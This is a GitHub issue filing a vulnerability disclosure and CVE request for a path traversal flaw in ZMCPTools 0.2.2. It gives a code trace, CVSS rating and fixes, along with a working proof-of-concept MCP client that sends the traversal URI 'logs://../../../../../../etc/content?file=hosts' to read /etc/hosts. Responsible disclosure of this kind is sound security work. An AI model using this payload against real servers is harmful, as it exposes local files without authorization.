New issue

Path Traversal and Arbitrary Local File Read Vulnerability in ZMCPTools #8

Open

BruceJqs opened 2 weeks ago

Path Traversal and Arbitrary Local File Read Vulnerability in ZMCPTools

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: Apr 14, 2026

2) Reporter Contact

- Reporter name: `BruceJin`
- Reporter email: `brucejin@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: ZachHandley
- Product: ZMCPTools
- Repository: https://github.com/ZachHandley/ZMCPTools
- Affected component(s):
- `src/server/McpServer.ts`
- `src/managers/ResourceManager.ts`

4) Vulnerability Type

- CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Short title: Path traversal in MCP log resource reading

5) Affected Versions

- Confirmed affected: 0.2.2
- Suspected affected range: revisions containing the same resource URI-to-filesystem flows listed below
- Fixed version: Not available at time of report

6) Vulnerability Description

A path traversal vulnerability (CWE-22) has been identified in ZMCPTools version 0.2.2, specifically within the MCP log resource handling code in src/managers/ResourceManager.ts. The resources/read handler accepts a user-controlled logs://{dirname}/content?file={filename} URI and constructs a filesystem path without validating that the resolved path remains under the intended log directory. An attacker with access to the MCP interface can supply ../ sequences in the dirname parameter to read arbitrary local files accessible to the server process, such as /etc/hosts. No fixed version is available at the time of reporting.

7) Technical Root Cause

1. `js/file-access-from-request`
   - Source: `src/server/McpServer.ts:540` (`request`)
   - Source parameter: `src/server/McpServer.ts:541` (`uri`)
   - Propagation: `src/server/McpServer.ts:544` (`this.resourceManager.readResource(uri)`)
   - URI parsing: `src/managers/ResourceManager.ts:312`
   - `logs://{dirname}/content` routing: `src/managers/ResourceManager.ts:391`
   - Directory extraction: `src/managers/ResourceManager.ts:392`
   - Sink path construction: `src/managers/ResourceManager.ts:1224`
   - Sink: `src/managers/ResourceManager.ts:1225`
   - Sink code: `const content = await readFile(filePath, "utf8");`
2. Related directory listing flow
   - `logs://{dirname}/files` routing: `src/managers/ResourceManager.ts:383`
   - Sink path construction: `src/managers/ResourceManager.ts:1152`
   - Sink: `src/managers/ResourceManager.ts:1153`
   - Sink code: `const entries = await readdir(dirPath, { withFileTypes: true });`

8) Attack Prerequisites

- Attacker can invoke the MCP `resources/read` operation against the affected ZMCPTools server.

- The MCP server process has filesystem read permissions for the target file.
- No effective validation rejects `..` path segments or enforces that resolved paths remain under the intended log directory.

9) Proof of Concept / Reproduction Guidance

This proof of concept uses the MCP SDK to call the vulnerable `resources/read` operation and read `/etc/hosts` through the log content resource.

1. Build from the repository root.

```
pnpm install
pnpm build
```

2. Run a minimal MCP SDK client from the repository root.

```
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client(
  { name: "poc-client", version: "1.0.0" },
  { capabilities: {} }
);

const transport = new StdioClientTransport({
  command: process.execPath,
  args: ["dist/server/index.js"],
  cwd: process.cwd()
});

await client.connect(transport);

const result = await client.readResource({
  uri: "logs://../../../../../../etc/content?file=hosts"
});

console.log(result.contents?.[0]?.text ?? JSON.stringify(result, null, 2));

await client.close();
```

3. Validation

- The MCP SDK client sends a `resources/read` request containing the crafted `logs://../../../../../../etc/content?file=hosts` URI.
- The server resolves the traversal path outside the intended log directory and returns the contents of `/etc/hosts`.
- A successful reproduction prints host file content such as `localhost` entries.

10) Security Impact

- Confidentiality: High (arbitrary local files readable by the MCP server process may be exposed).
- Integrity: None (the demonstrated vulnerable flow reads filesystem content).
- Availability: Low (large or special files may cause resource consumption or error conditions).
- Scope: Unchanged.

11) CVSS v3.1 Suggestion

- Suggested vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L`
- Suggested base score: 7.5 (High)
- Adjust `PR` upward if the vulnerable MCP resource interface is strictly authenticated and only available to trusted users.

12) Workarounds / Mitigations

- Restrict access to the MCP resource interface to trusted users only.
- Disable or remove the `logs://*/content` and `logs://*/files` resource handlers until path validation is fixed.
- Reject `..`, absolute path components, encoded traversal sequences, and path separators in `dirname` and `file`.
- Resolve the final path and verify it remains within the intended log directory before filesystem access.

13) Recommended Fix

- Normalize and resolve the final filesystem path with a fixed base directory, then enforce that the resolved path remains under `~/.mcptools/logs`.
- Treat `dirname` and `file` as logical identifiers rather than raw path fragments; allow only expected log directory and log filename patterns.
- Avoid passing URI path segments directly into `join` without validation.
- Add regression tests for traversal payloads such as `logs://../../../../../../etc/content?file=hosts` and encoded equivalents.
- Publish a maintainer security advisory once a patch is released.

14) References

- Repository: https://github.com/ZachHandley/ZMCPTools
- Reviewed source file: `src/server/McpServer.ts`
- Reviewed source file: `src/managers/ResourceManager.ts`
- CWE-22: https://cwe.mitre.org/data/definitions/22.html

15) Credits

- Discoverer: `BruceJin`
- Discovery method: Static analysis (CodeQL) plus repository source-code audit and dynamic reproduction

16) Additional Notes for Form Mapping

- Audit verdict: Exploitable: attacker-controlled MCP resource URI can reach filesystem read and directory listing sinks.
- Dynamic exploit replay status: reproduced successfully with the MCP SDK using the `/etc/hosts` proof of concept.
- Maintainer should validate release mapping before coordinated disclosure.

For furthermore information, please refer to BruceJqs/public_exp#23

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants